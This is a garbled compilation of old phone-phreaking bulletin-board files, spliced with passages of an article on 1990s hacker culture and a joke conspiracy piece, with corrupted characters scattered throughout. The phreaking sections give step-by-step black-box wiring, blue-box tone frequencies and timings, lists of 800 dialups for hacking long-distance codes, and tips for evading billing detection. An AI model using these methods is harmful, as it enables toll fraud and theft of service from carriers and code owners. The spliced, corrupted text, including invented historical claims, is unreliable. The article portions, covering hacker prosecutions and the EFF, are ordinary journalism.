In the 914 area code the ANI # is 990. If you just have to dial the last 4 digits for a local #, ie congers (268), dial 1-990-1111, where 1111 are dummy digits there is also a less useful type of ANI# which will identify the area code & exchange.

A 10 Issue subscr먱iption costs $8.00, if you get a bulk rate sealed envelope subscription. I would recommend the first class subscription, which is $10.

You only need 2 parts: a SPST toggle switch and a 10,000 ohm (10 K), 1/2 watt, 10% resistor. A;hny electronics place should have these. Now, cut two pieces of wire, about 6 inches, and attach these to the two screws on the switch. Turn your normal ddside down and unscrew the 2 screws. Locate the "f" and "rr" screws on the network box. Wrap the resistor between these 2 screws and make sure that the wires touch only the proper terminals! Now connect one wire from the switch to the rr terminal. Finally, attach the remaining wire to the green wire (disconnect it from its terminjal). Now bring the switch out the rear of the phone and close it up. Put the switch in a position where you get a dial tone, mark this normal. Mark the other side free. When your friends call (at a prearranged time), quickly lift & drop the receiver as fast as possible. This will stop the ringing, if not try again. It is very important that you do it fast! Now put the switch in the free position and pick up the phone. Keep all calls short & under 15 minutes. When someone casۏ~ the 542 prefix (Ambler, Fort Washington). If you went to dial in a basic Metro code from that area, for instance, 351-0100, that might not be counted under unlimited local calling because it is out of your LATA. For some LATA's, you have to dial a '1' without the area code before you can dial the phone number. That could prove a hassle for us all if you didn't realize you would be billed for that sort of call. In that way, sometimes, it is better to be safe than sorry and phreak. tu The Caller Log: In ESS regions, for every household around, the phone company has something on you called a Caller Log. This shows every single number that you dialed, and things can be arranged so it showed every number that was calling to you. That's one main disadvantage of ESS, it is mostly computerized so a number scan could be done like that quite easily. Using a dialup is an easy way to screw that, and is something worth remembering. Anyways, with the caller log, they check uZup and see what you dialed. Hmm...you dialed 15 different 800 numbers that month. Soon they find that you are subscribed to none of those companies. But that is not the only thing. Most people would imagine "But wait! 800 numbers don't show up on my phone bill!". To those people, it is a nice thought, but 800 numbers are picked up on the caller log until right before they are sent off to you. So they can check right up on you before they send it away and can note the fact that you fv ]ucked up slightly and called one too many 800 lines. Right now, after all of that, you should have a pretty good idea of how to grow up as a good phreak. Follow these guidelines, don't show off, and don't take unnecessary risks when phreaking or hacking. File Level:5 /-/ Credits /-/ To The Videosmith- for setting me straight on some shit.

Nothing could be further from the truth! Granted, there are some who get their kicks by making free calls; However, they are not true phone phreaks. Real phone phreaks are 'Telecommunications Hobbyists' who experiment, play with and learn from the phone system. Occasionally this experimenting, and a nee{Fctd to communicate with other phreaks ( with-out going broke), leads to free calls. The free calls are but a small subset of a true phone phreaks activities." The Phone Phreak's Ten Commandments <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> Reprinted from Tap issue #86. (Tap, Room 603, 147 W 42 Street, New York, NY 10036) Send a sase for their info sheet and tell them that BIOC Agent 003 told you about it.) I. Box thou not over thine home telephone wires, for tho|m}Xse who doest must surely bring the wrath of the chief special agent down upon thy headS. II.

Blow a KP tone to start a call, a ST tone to stop it, and a 2600hz tone to hang up. Once you have connected to it, here are some fun numbers to call with it: 0-700-456-1000 Teleconference (free, because you are the operator!) (Area code)-101 Toll Switching (Area code)-121 Local Operator (hehe) (Area code)-131 Information (Area code)-141 Rate & Route (Area code)-181 Coin Refund Operator (Area code)-11511 Conference operator (whenia you dial 800-544-6363) Well, those were the tone matrix controllers for the blue box and some other helpful stuff to help you to start out with. But those are only the functions with the operator. There are other k-fun things you can do with it... More advanced Blue Box Stuff: Oops. Small mistake up there. I forgot tone lengths. Um, you blow a tone pair out for up to 1/10 of a second with another 1/10 second for silence between the digits. KP tones should be sent for 2/1j/0 of a second. One way to confuse the 2600hz traps is to send pink noise over the channel (for all of you that have decent BSR equalizers, there is major pink noise in there...) Using the operator functions is the use of the 'inward' trunk line. That is working it from the inside. From the 'outward' trunk, you can do such things as make emergency breakthrough calls, tap into lines, busy all of the lines in any trunk (called 'stacking'), enable or disable the TSPS's, and for some 4akQ^ systems you can even re-route calls to anywhere. All right. The one thing that every complete phreak guide should not be without is blue box plans, since they were once a vital part of phreaking. Another thing that every complete file needs is a complete listing of all of the 800 numbers around so you can have some more fun. /-/ 800 Dialup Listings /-/ 1-800-345-0008 (6) 1-800-547-6754 (6) 1-800-245-4890 (4) 1-800-327-9136 (4) 1-800-526-5305 (8) 1-800-858-9000 (3) 1-8l00-437-9895 (7) 1-800-245-7508 (5) 1-800-343-1844 (4) 1-800-322-1415 (6) 1-800-437-3478 (6) 1-800-325-7222 (6) All right, set Cat Hacker 1.0 on those numbers and have a fuck of a day. That is enough with 800 codes, by the time this gets around to you I dunno what state those codes will be in, but try them all out anyways and see what you get. On some 800 services now, they have an operator who will answer and ask you for your code, and then your name. Some will switch backm and forth between voice and tone verification, you can never be quite sure which you will be up against. Armed with this knowledge you should be having a pretty good time phreaking now. But class isn't over yet, there are still a couple important rules that you should know. If you hear continual clicking on the line, then you should assume that an operator is messing with something, maybe even listening in on you. It is a good idea to call someone back when the phone starts doinn]g that. If you were using a code, use a different code and/or service to call him back. A good way to detect if a code has gone bad or not is to listen when the number has been dialed. If the code is bad you will probably hear the phone ringing more clearly and more quickly than if you were using a different code. If someone answers voice to it then you can immediately assume that it is an operative for whatever company you are using. The famed '311311' code for Metro is one of oTthose. You would have to be quite stupid to actually respond, because whoever you ask for the operator will always say 'He's not in right now, can I have him call you back?' and then they will ask for your name and phone number. Some of the more sophisticated companies will actually give you a carrier on a line that is supposed to give you a carrier and then just have garbage flow across the screen like it would with a bad connection. That is a feeble effort to make you think that tpnhe code is still working and maybe get you to dial someone's voice... a good test for the carrier trick is to dial a number that will give you a carrier that you have never dialed with that code before, that will allow you to determine whether the code is good or not. For our next section, a lighter look at some of the things that a phreak should not be without. A vocabulary. A few months ago, it was a quite strange world for the modem people out there. But now, a phreaker's vocabq Ȧ.ulary is essential if you wanna make a good impression on people when you post what you know about certain subjects. /-/ Vocabulary /-/ - Do not misspell except certain exceptions: phone -> fone freak -> phreak - Never substitute 'z's for 's's. (i.e. codez -> codes) - Never leave many characters after a post (i.e. Hey Dudes!#!@#@!#!@) - NEVER use the 'k' prefix (k-kool, k-rad, k-whatever) - Do not abbreviate. (I got lotsa wares w/ docs) - Never substitute '0r0Do' for 'o' (r0dent, l0zer). - Forget about ye old upper case, it looks ruggyish. All right, that was to relieve the tension of what is being drilled into your minds at the moment.. now, however, back to the teaching course. Here are some things you should know about phones and billings for phones, etc. LATA: Local Access Transference Area. Some people who live in large cities or areas may be plagued by this problem. For instance, let's say you live in the 215 area code under]%hone into a pay phone to throw off traces (a red box is usually needed in order to call out.) *Clear Box: Gives you a dial tone on some of the old SxS payphones without putting in a coin. Beige Box: A simpler produced linesman's handset that allows you to tap into phone lines and extract by eavesdropping, or crossing wires, etc. Purple Box: Makes all calls made out from your house seem to be local ^ҿ calls. ANI [ANI]: 1) Automatic Number Identification. A service available on ESS that allows a phone service [see Dialups below] to record the number that any certain code was dialed from along with the number that was called and print both of these on the customer bill. 950 dialups [see Dialups below] are all designed just to use ANI. Some of the services do not have the proper equipment to read the ANI impulses yet, but it is impossible to see which is which without_c being busted or not busted first. Dialups [dy'l'ups]: 1) Any local or 800 extended outlet that allows instant access to any service such as MCI, Sprint, or AT&T that from there can be used by handpicking or using a program to reveal other peoples codes which can then be used moderately until they find out about it and you must switch to another code (preferably before they find out about it.) 2) Dialups are extremely common on both senses. Some dial`&2ups reveal the company that operates them as soon as you hear the tone. Others are much harder and some you may never be able to identify. A small list of dialups: 1-800-421-9438 (5 digit codes) 1-800-547-6754 (6 digit codes) 1-800-345-0008 (6 digit codes) 1-800-734-3478 (6 digit codes) 1-800-222-2255 (5 digit codes) 3) Codes: Codes are very easily accessed procedures when youa \n@ call a dialup. They will give you some sort of tone. If the tone does not end in 3 seconds, then punch in the code and immediately following the code, the number you are dialing but strike the '1' in the beginning out first. If the tone does end, then punch in the code when the tone ends. Then, it will give you another tone. Punch in the number you are dialing, or a '9'. If you punch in a '9' and the tone stops, then you messed up a little. If you punch in a tone and the tone contib!nues, then simply dial then number you are calling without the '1'. 4) All codes are not universal. The only type that I know of that is truly universal is Metrophone. Almost every major city has a local Metro dialup (for Philadelphia, (215)351-0100/0126) and since the codes are universal, almost every phreak has used them once or twice. They do not employ ANI in any outlets that I know of, so feel free to check through your books and call 555-1212 or, as a more devioc"N+\us manor, subscribe yourself. Then, never use your own code. That way, if they check up on you due to your caller log, they can usually find out that you are subscribed. Not only that but you could set a phreak hacker around that area and just let it hack away, since they usually group them, and, as a bonus, you will have their local dialup. 5) 950's. They seem like a perfectly cool phreakers dream. They are free from your house, from payphones, from everywhere, and thed#>y host all of the major long distance companies (950-1044 , 950-1077 , 950-1088 , 950-1033 .) Well, they aren't. They were designed for ANI. That is the point, end of discussion. A phreak dictionary. If you remember all of the things contained on that file up there, you may have a better chance of doing whatever it is you do. This next section is maybe a little more interesting... Blue Box Plans: --------------- These are some blue box plae$ߘns, but first, be warned, there have been 2600hz tone detectors out on operator trunk lines since XB4. The idea behind it is to use a 2600hz tone for a few very naughty functions that can really make your day lighten up. But first, here are the plans, or the heart of the file: ============================================== 700 : 1 : 2 : 4 : 7 : 11 : 900 : + : 3 : 5 : 8 : 12 : 1100 : + : + : 6 : 9 : KP : 1300 : + : + f%M: + : 10 : KP2 : 1500 : + : + : + : + : ST : : 700 : 900 :1100 :1300 :1500 : ============================================== Stop! Before you diehard users start piecing those little tone tidbits together, there is a simpler method. If you have an Apple-Cat with a program like Cat's Meow IV, then you can generate the necessary tones, the 2600hz tone, the KP tone, the KP2 tone, and the ST tone through the dial section. So if you have thatg Y I will assume you can boot it up and it works, and I'll do you the favor of telling you and the other users what to do with the blue box now that you have somehow constructed it. The connection to an operator is one of the most well known and used ways of having fun with your blue box. You simply dial a TSPS (Traffic Service Positioning Station, or the operator you get when you dial '0') and blow a 2600hz tone through the line. Watch out! Do not dial this direct!

This is not made to be an exclusive ultra elite file, so kinda calm down and watch in the background if you are too cool for it... /-/ Phreak Dictionary /-/ Here you will find some of the basic but necessary terms that should be known by any phreak who wants to be respected at all... Phreak [fr'eek]: 1. The action of T)^L#using mischevious and mostly illegal ways in order to not pay for some sort of telecommunications bill, order, transfer, or other service. It often involves usage of highly illegal boxes and machines in order to defeat the security that is set up to avoid this sort of happening. [fr'eaking]. v. 2. A person who uses the above methods of destruction and chaos in order to make a better life for all. A true phreaker will not not go against his fellows or narc on people who have raggedU*^ on him or do anything termed to be dishonorable to phreaks. [fr'eek]. n. 3. A certain code or dialup useful in the action of being a phreak. (Example: "I hacked a new metro phreak last night.") Switching System [Swich'ing sis'tem]: 1. There are 3 main switching systems currently employed in the US, and a few other systems will be mentioned as background. A)SxS: This system was invented in 1918 and was employed in over half of the country until 1978. It is a very basiV+90c system that is a general waste of energy and hard work on the linesman. A good way to identify this is that it requires a coin in the phone booth before it will give you a dial tone, or that no call waiting, call forwarding, or any other such service is available. Stands for: Step by Step B) XB: This switching system was first employed in 1978 in order to take care of most of the faults of SxS switching. Not only is it more efficient, but it also can support different services iW,Hlin various forms. XB1 is Crossbar Version 1. That is very limited and is hard to distinguish from SxS except by direct view of the wiring involved. Next up was XB4, Crossbar Version 4. With this system, some of the basic things like DTMF that were not available with SxS can be accomplished. For the final stroke of XB, XB5 was created. This is a service that can allow DTMF plus most 800 type services (which were not always available...) Stands for: Crossbar. C) ESS: A nightmare in X-ftelecom. In vivid color, ESS is a pretty bad thing to have to stand up to. It is quite simple to identify. Dialing 911 for emergencies, and ANI [see ANI below] are the most common facets of the dread system. ESS has the capability to list in a person's caller log what number was called, how long the call took, and even the status of the conversation (modem or otherwise.) Since ESS has been employed, which has been very recently, it has gone through many kinds of revisions. The latesY.`[t system to date is ESS 11a, that is employed in Washington D.C. for security reasons. ESS is truly trouble for any phreak, because it is 'smarter' than the other systems. For instance, if on your caller log they saw 50 calls to 1-800-421-9438, they would be able to do a CN/A [see Loopholes below] on your number and determine whether you are subscribed to that service or not. This makes most calls a hazard, because although 800 numbers appear to be free, they are recorded on your caZ/ `ller log and then right before you receive your bill it deletes the billings for them. But before that they are open to inspection, which is one reason why extended use of any code is dangerous under ESS. Some of the boxes [see Boxing below] are unable to function in ESS. It is generally a menace to the true phreak. Stands For: Electronic Switching System. because they could appear on a filter somewhere or maybe it is just nice to know them any ways. A) SSS: Strowger Sw[0Z12itching System. First non-operator system available. B) WES: Western Electronics Switching. Used about 40 years ago with some minor places out west. Boxing [Boks'-ing]: 1) The use of personally designed boxes that emit or cancel electronical impulses that allow simpler acting while phreaking. Through the use of separate boxes, you can accomplish most feats possible with or without the control of an operator. 2) Some boxes and their functions\$ are listed below. Ones marked with '*' indicate that they are not operatable in ESS. *Black Box: Makes it seem to the phone company that the phone was never picked up. Blue Box: Emits a 2600hz tone that allows you to do such things as stack a trunk line, kick the operator off line, and others. Red Box: Simulates the noise of a quarter, nickel, or dime being dropped into a payphone. Cheese Box: Turns your home pG2!r-ompleted by the blue box. For example, a call to Birmingham from Atlanta may cost $.80 for the first 3 minutes while a call from atlanta to los angeles is $1.85 for 3 minutes. thus, a short haul, 3-minute call to Birmingham from Atlanta, switched by use of a blue box to Los Angeles, would result in a net fraud of $2.65 for a 3 minute call. (D) A blue box may be wired into the telephone line or acoustically connected to the handset. The blue box may even be built inside a regular toH33xuch-tone phone, using the phone's push buttons for the blue box's signalling tones. (E) A magnetic tape recording may be used to record the blue box tones representative of specific phone #'s. Such a tape recording could be used in lieu of a blue box to fraudulently place calls to the phone #'s recorded on the magnetic tape. All blue boxes, except "Dial Pulse" or "Rotary SF" blue boxes, must have the following 4 common operating capabilities: (A) It must have signalling capabI4zPility in the form of a 2600hz tone. The tone is used by the toll network to indicate, either by its presence or its absence, an "on hook" (idle) or "off hook" (busy) condition of the trunk. (B) The blue box must have a "kp" tones that unlocks or readies the multi-frequency receiver at the called end to receive the tones corresponding to the called phone #. (C) The typical blue box must be able to emit MF tones which are used to transmit phone #'s over the toll network. Each digit J5>Nof a phone # is represented by a combination of 2 tones. For example, the digit 2 is x-mitted by a combination of 700hz and 1100hz. (D) The blue box must have an "ST" key which consists of a combination of 2 tones that tell the equipment at the called end that all digits have been sent and that the equipment should start switching the call to the called number. The "Dial Pulser" or "Rotary SF" blue box requires only a dial with a signalling capability to produce a 2600hz tone. K6Ӥ *Black Box* -=-=-=-=-=- This ETF device is so-named because of the color of the first one found. It varies in size and usually has one or two switches or buttons. Attached to the telephone line of a called party, the black box provides toll-free calling *to* that party's line. A black box user informs other persons beforehand that they will not be charged for any call placed to him. The user then operates the device causing a "non-charge" condition ("no answer" or "disconnecL7l|t") to be recorded on the telephone company's billing equipment. A black box is relatively simple to construct and is much less sophisticated than a blue box. *Cheese Box* -=-=-=-=-=-= Its design may be crude or very sophisticated. its size varies; one was found the size of a half-dollar. A cheese box is used most often by bookmakers or betters to place wagers without detection from a remote location. The device inter-connects 2 phone lines, each having different #'s but each tM88erminating at the same location. In effect, there are 2 phones at the same location which are linked together through a cheese box. It is usually found in an unoccupied apartment connected to a phone jack or connecting block. The bookmaker, at some remote location, dials one of the numbers and stays on the line. Various bettors dial the other number but are automatically connected with the bookmaker by means of the cheese box inter-connection. If, in addition to a Cheese Box, a BlaN9G}ck Box is included in the arrangement, the combined equipment would permit toll-free calling on either line to the other line. If a police raid were conducted at the terminating point of the conversations -the location of the Cheese Box- there would be no evidence of gambling activity. This device is sometimes difficult to identify. Law enforcement officials have been advised that when unusual devices are found associated with telephone connections the phone company security represenO:T_tatives should be contacted to assist in identification. (This probably would be good for a BBS , especially with the Black Box set up. And if you ever decided to take the board down, you wouldn't have to change your phone #. It also makes it so you yourself cannot be traced. I am not sure about calling out from one though) *Red Box* -=-=-=-=- This device it coupled acoustically to the handset transmitter of a single-slot coin telephone. The device emits signals identical to P;}those tones emitted when coins are deposited. Thus, local or toll calls may be placed without the actual deposit of coins. /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /-/ /-/ /-/ Phreaker's /-/ /-/ PhunHouse /-/ /-/ /-/ /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ Q&^@' /-/ By: /-/ /-/ The Traveler /-/ /-/ /-/ /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /-/ /-/ /-/ Call: /-/ /-/ Brainstorm BBS /-/ /-/ 612/345-2815 (300/1200) /-/ /-/ /<=L7$$$ $ _______________________________ $ $ | | $ $ | ELECTRONIC TOLL FRAUD DEVICES | $ $ |_______________________________| $ $ $ $ $ $ TYPED AND UPLOADED BY: $ $ $ =>{} $$$$$$$$$$$$-=>LEX LUTHOR<=-$$$$$$$$$$$ $ $ $ $ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ This phile is designed to identify various kinds of ETF (Electronic Toll Fraud) devices and to describe their operation, according to a booklet put out by bell entitled: The Investigation and Prosecution of Electronic Toll Fraud Devices. (For offi>?Gcial use only). There are several different types of electronic equipment which may be generally classified as ETF devices. The most significant is the "blue box". the characteristics of each type of device are discussed below. *Blue Box* -=-=-=-=-= The "Blue Box" was so named because of the color of the first one found. The design and hardware used in the blue box is fairly sophisticated, and its size varies from a large piece of apparatus to a miniaturized unit that is approxi?@+mately the size of a "king size" package of cigarettes. The blue box contains 12 or 13 buttons or switches that emit multi-frequency tones characteristic of the tones used in the normal operation of the telephone toll (long distance) switching network. The blue box enables its user to originate fraudulent ("free") toll calls by circumventing toll billing equipment. The blue box may be directly connected to a phone line, or it may be acoustically coupled to a telephone handset by plac@Aӏing the blue box's speaker next to the transmitter or the telephone handset. The operation of a blue box will be discussed in more detail below. To understand the nature of a fraudulent blue box call, it is necessary to understand the basic operation of the Direct Distance Dialing (DDD) telephone network. When a DDD call is properly originated, the calling number is identified as an integral part of establishing the connection. This may be done either automatically or, in some cAB.ƃases, by an operator asking the calling party for his telephone number. This information is entered on a tape in the automatic message accounting (ama) office. This tape also contains the number assigned to the trunk line over which the call is to be sent. The information relating to the call contained on the tape includes: Called number, Calling number, Time of call. the Time of disconnect at the end of the call is also recorded. Although the tape contains info with respect BC 8]>to many different calls, the various data entries with respect to a single call are eventually correlated to provide billing info for use by your bell's accounting department. The typical blue box user usually dials a number that will route the call into the telephone network without charge. for example, the user will very often call a well-known inwats (toll-free) customer's number. The blue box user, after gaining this access to the network and, in effect, "seizing" control anCDWd complete dominion over the line, operates a key on the blue box which emits a 2600 hertz (cycles per second) tone. This tone causes the switching equipment to release the connection to the inwats customer's line. the 2600hz tone is a signal that the calling party has hung up. The blue box simulates this condition. However, in fact the local trunk on the calling party's end is still connected to the toll network. The blue box user now operates the "kp" (key pulse) key on the blue boDEx to notify the toll switching equipment that switching signals are about to be emitted. The user then pushes the "number" buttons on the blue box corresponding to the telephone # being called. After doing so he/she operates the "st" (start) key to indicate to the switching equipment that signalling is complete. If the call is completed, only the portion of the original call prior to the emission of 2600hz tone is recorded on the ama tape. The tones emitted by the blue box are not rEF9ecorded on the ama tape. Therefore, because the original call to the inwats # is toll-free, no billing is rendered in connection with the call. Although the above is a description of a typical blue box operation using a common method of entry into the network, the operation of a blue box may vary in any one or all of the following respects: (A) The blue box may include a rotary dial to apply the 2600hz tone and the switching signals. This type of blue box is called a "dial pulsF1Ter" or "rotary sf" blue box. (B) Entrance into the DDD toll network may be effected by a pretext call to any other toll-free # such as universal directory assistance (555-1212) or any # in the inwats network, either inter-state or intra-state, working or non-working. (C) Entrance into the DDD toll network may also be in the form of "short haul" calling. A "short haul" call is a call to any # which will result in a lesser amount of toll charges than the charges for the call to be c1HMrunks. COMMON CONTROL SWITCHING ARRANGEMENT (CCSA): An arrangement for telecommunicationsnetworks in which common controlled switching machines are used to route traffic over network routes and access lines. The switching machine may be shared with other users and is maintained by the telephone company. COMPUTER PORT/TKI PORT: The interface through which the computer connects to the communications circuit. CONDITIONING EQUIPMENT: Equipment modifications or adjustments necessary t2I"o match transmission levels and impedances and which equalizes transmission and delay to bring circuit losses, levels, and distortion within established standards. CONFIGURATION: The combination of long-distance services and/or equipment that make up a communications system. CONTROL UNIT (CU): The central processor of a telephone switching device. CORPORATE ID NUMBER: The MCI term for the number which identifies a customer on a corporate level. (Not all MCI customers have this). 3JS COST COMPONENT: The price of each type of long distance service and/or equipment that constitutes a configuration. COST PER HOUR (CPH): Total cost of different services divided by total holding time (in minutes).

Far from being proto-political rebels, he argues that young US hackers are actually political footballs, part of a larger game which is about the future and management of cyberspace. That's why the rich software entrepreneurs of the Electronic Frontier Foundation have become involved. "The EFF and their civil liberties fellow travellers are an interest group like any other. They shouldn't be shrouded in this air of 'Oh they're old '60s people, look how ideali'ŞWstic and non-materialistic they are. These guys are pretty sharp operators who've made a lot of money in the computer industry and would now like to get their mouse gripping mitts on some lever of political power that is consonant with the amount of money they have and the influence they wield in the business world". A cynic might argue that the EFF aren't just concerned with the freedom of speech. They really want to make sure that in the heat of hacker hysteria, a set of exce(:Zssive laws don't get passed which might restrict their business operations in the future. This kind of thing is only to be expected, since as Sterling says, the electronic community is expanding daily. In the rush to go digital, hackers may even find themselves sidelined. "Every aspect of society is moving into electronic networking and that includes hippies, criminals, lawyers, politicians, bikers, knitting societies, even cops. Cops have their own bulletin boards now. There ar)PK,e hacker cops. All these subcultures and sub-groups are moving in and in a while what was once called hacker culture may get swamped by other kinds of electronic bohemia." US hackers may have acted as the pioneers of the new electronic landscape. But like the real pioneers who first explored the American West, they may find it difficult to find a foothold in the new communities they helped to create. The simple thing is to go in to business for the people they formerly thought o*Tf as the enemy. Alternatively they could band together in informal vaguely politicised pressure groups like the Europeans. But they need to update their act. Otherwise they could even wind up a dying breed. "In the end the thing about American hackers that'll kill them off is that they're dilettantes," Sterling concludes. "They're not getting any money for this. They're doing it for free, because its like a cool subculture do. They're doing it for power and knowledge. But anythi+mAsng these jerk-offs can do for power and knowledge, a real operator can do for a lot of money." The pioneer age is over. The Net is here to grow. And as the digital community expands and corporate control of computerised data increases, hackers will have to raise their political consciousness if they intend to fulfil their mythical role as electronic watchmen. criminals, lawyers, politicians, bikers, knitting societies, even cops. Cops have their own bulletin boards now. There ar em." But how did it get into his chutney? A second case is cited in which a Japanese businessman nearly choked on "a piece of cardboard" embedded in a rice cake. After closer examination, the cardboard turned out to be a Southwestern Bell ID badge from a lineman who had disappeared on a fishing trip six months earlier under "unexplained circumstances." As revealed in the stolen logs of a team of Swiss archaeologists excavating a tomb found near Luxor, Egypt in 1958, an ancient bi >as-relief found in the tomb's antechamber depicts "a strange Latin figure wearing a long cape and carrying a notched staff or cane" presenting the Pharoh with what appears to be a cellular (or, perhaps, cordless) phone. Small clay models of similar phones were found in other parts of the tomb, apparently included with the mummy to insure that the Pharoh would (as one Hieroglyphics expert later translated) "remain in contact with his concubines during his journey to the spirit world. @\" The tomb was plowed over in the late 1970's by the Egyptian government to supposedly provide space for a new tourist hotel (which was never actually built); one confidential inside source referred to only as "Mr. James Blackwell of 1583 Trent Ave., Parma, Ohio" stated that this was actually a cover-up at the behest of certain "key cellular carriers." Mr Blackwell claimed to posess a document showing secret money transfers from Motorola executives to high-ranking Egyptian official}cs via the National Bank of Yemen, but the papers were destroyed in an unexplained house fire which also killed Mr. Blackwell. Another document, much of which was still blacked-out for security reasons, was allegedly uncovered in newly-unsealed KGB archives. It includes interviews with Russian peasants living near the site of the 1908 Tungusta Blast, who claim to have discovered charred fragments of COSMOS manuals, circuit boards and "red-, green-, yellow- and black- coated wires" ws%hile plowing their fields during the months following the infamous explosion. Scrawled notes from an unnamed Scottish businessman written shortly before his sudden illness and death in the 1920s reveal that, only minutes before its destruction by the U.S. government, the Lusitania had encountered "the seaweed-encrusted spires of a magnificent city, barely piercing the ocean's surface - none other than the reminants of the lost city of Atlantis. Dual tones were heard coming from oneXGAronic equivalent of walking on the grass or breaking and entering, but the punishment they faced was ten times more severe. In addition, the authorities began to target and close down electronic bulletin boards. In the States, there are now boards for every obsession going, every hobby, belief, vice or fad. So many that regulation of the kind of information being circulated is increasingly difficult. For that reason, it has been argued that the powers that be don't like the idea mof boards per se. Although a lot of the information that is circulated on some of the more underground boards (how to build bombs, for example) is available elsewhere, they feel spooked by the thought that it can be accessed by anyone with a computer. They feel particularly spooked by the idea of hacker bulletin boards and have begun to charge people merely for allowing 'dangerous information' to pass through their systems. The scapegoat for this anxiety was Craig Neidorf, aka Kniqght Lightning, who ran the electronic magazine Phrack which was circulated on a number of hacker boards. In February 1990, he was raided and charged with circulating a document about the workings of the 911 emergency number. His computers were confiscated and the magazine put out of business. When the case came to court in July, it was thrown out - the information Neidorf had published was available to consumers for less than $30. Nevertheless, Neidorf was wound up stuck with ove>r $100,000 in legal expenses. Hacker reaction to all this has been varied. After receiving prison sentences for their activities, the majority of the Legion Of Doom have decided to go legit and have set up as Comsec Data Security Corporation, a computer protection consultancy. Others have taken a campaigning stance reminiscent of the Europeans. The East Coast hacker quarterly 2600, which published hardcore hacking info on phreaking and accessing computer networks, has tried to hig8?Ahlight the hypocrisy of the hacker busts. "An individual cannot take a big credit checking corporation like TRW to court because they collect personal data on them without his or her permission," 2600 editor Emmanuel Goldstein comments. "But TRW could claim its privacy was violated if a hacker figures out how to access their system." Other organisations have been set up to raise concern about civil liberties and freedom of speech, the most high profile being the Electronic Fronti Xmer Foundation, which was set up by Mitch Kapor, a millionaire software pioneer, along with other big cheeses from the computer industry (including Steve Wozniak of Apple, an ex-phone phreaker), as a direct response to anti-hacking hysteria. A self- confessed hacker/software pirate in the '70s, Kapor is worried that the current panic may lead to the formation of restrictive regulations which may hamper the development of cyberspace in the future. However he isn't in favour of lega!Fclising hacking. He thinks hackers should still be punished. Although the EFF has had some success in its moves to end Secret Service excesses, not all hackers are happy with the way it draws a line between the old '60s hackers and modern computer intruders. "There are a lot of similarities between these 15-year- olds who are playing around in corporate computers and the 40-year- olds who played around with phones and are now writing software somewhere," comments Emmanuel Goldstein."hN "They may be legit now, but they weren't always legitimate". Goldstein is also sceptical of the "cyberpunk" tag which hackers appropriated from the fiction of William Gibson and Bruce Sterling, dismissing it as a fashion thing. Whilst it may have helped to give hackers a sense of identity, the image of leather-clad anti-social rebels backfired when the authorities started to take it seriously. Something which places original cyberpunk writers like Bruce Sterling in a tricky posi#tion. "I've had law enforcement people tell me that if they see a copy of (William Gibson's) Neuromancer in a kid's bedroom when they're doing a raid, they know he's bad, he's gone," he observes. "There are people who use the word "cyberpunk" as a synonym for computer criminal now. There's little that we can do about it really." Except write a book, something Sterling decided to do when anti-hacker hysteria reached his home town of Austin, Texas. The Chicago Computer Fraud and A$*buse Task Force seized hardware and software from a texas SF publisher and made statements to the local press that cyberpunks were dangerous. "Being quite well-known as a cyberpunk myself, I thought i'd better find out what was going on". The results of his investigations will be published as The Hacker Crackdown in October 1992 in the US. As an outsider, Sterling offers a refreshingly sceptical perspective on he scene. Of the 5,000 or so hackers currently practising in the State%~?s, he says the majority are just mischievous teens, electronic joyriders who are more curious than malicious. Most of them don't hack beyond the age of 22. They get bored and get a life outsideof cyberspace. He laughs off the idea that hackers might be seen as radicals. "The idea that these are like fresh-faced idealistic genius kids who are linked arm-in-arm to deal a telling blow to the establishment is just bullshit. They all hate each other's guts. They turn each other in atGy're part digital be-in, part electronic think tank, part R&D lab, part informal high-tech trade fair. The centrepiece is still usually the hacking rooms. Hooked into the phone system by means of bundles of illegal extension cords, these feature rows of terminals on which visitors could access networks around the world, call up the club's various databases or tele-conference with members who couldn't make the event. The 1991 event featured a room housing various rudimentary explora&mtions into the world of "brain hacking". Here people were swapping ideas about the possibilities of making a real life version of the electrodes which feature in William Gibson's cyberpunk novels and which allow users to jack into a network and move from computer to computer purely by thought. The technology that was actually up and running was little more than a bio- feedback system (basically an EEG machine which displays a user's brain waves in order to help them to achieve parjticular frequencies and corresponding mental states). Some present were talking about actually developing a brain-controlled system, in which information could be moved around the screen via something like ESP or telekinesis. More functional future tech was demonstrated at the same conference by John Draper, aka Captain Crunch, one of the first phone phreakers and a legend in hacking circles, who had been flown in by the Virtual Travel Project, an organisation designed to bring EasbYt and West together via technology. He brought along an old Panasonic videophone which comes complete with a two inch square display lens and a small camera. When hooked up to standard telephone lines, the videophone can transmit still images taken by the built in camera and transmit them to a similar telephone or computer equipped with the right software. Draper was able to visually connect with the US in a conference call that hooked up Hamburg, New York, the Electronic Cafe in LSanta Cruz, California and `Frisco. Although the Chaos Club is the best known European hacking group, others are beginning to achieve a higher profile, particularly the self-styled Italian Cyberpunks, who are based in Milan and produce the magazine Decoder, which reads like a politically tougher version of Mondo 2000 and mixes hacker info and socio- political opinion pieces on information technology with interviews with the likes of William Gibson, underground comics and scratchy D BIY graphics. With its roots in Italian anarchist traditions and connections to the free radio movement of the '70's, the Cyberpunks have tried to theorise hacker activity and present it as a coherent form of political protest. They're taken relatively seriously by Italian society at large and their recently published Cyberpunk Anthology managed to make it onto the best-seller list for several weeks. They are currently working on an English translation which they hope to publish S2here (in the UK) by the Summer. Like the Chaos Club, the Cyberpunks are less hung up on getting hold of the latest technology and more interested in educating the public and spreading information. Invited to participate in the Santarcangelo Arts Festival, held in Rimini last Summer, they organised lectures on virtual reality and multi-media, flying in speakers from Germany and Britain and running an "information wall". This comprised of a wall of old TV's playing feeds which were $processed by an Amiga video editing system and mixed raw footage of the festival events, computer graphics and the Cyberpunks' own videos. There were also plans to set up a pirate TV station and broadcast in a narrow 2km band towards Rimini. Unfortunately, after technical problems and concern voiced by members of the Mutoid Waste Company (also present at the festival) that the material transmitted might be X rated, this had to be called off. Whilst groups in Europe seem to be grad9qually evolving into artful campaigners and consciousness-raising pranksters, the majority of US hackers have remained simple tech freaks. However, things may be changing. US hacker culture has been going through a crisis in the last two years. In a full-blown moral panic, they have been systematically hunted down by the Secret Service and have become the focus for hysteria reminiscent of the red scares of the '50s (A time magazine cover from 1988 talked about "The Invasion Of The D;ֿsata Snatchers"). Things began to happen in January 1990 as the Secret Service began to 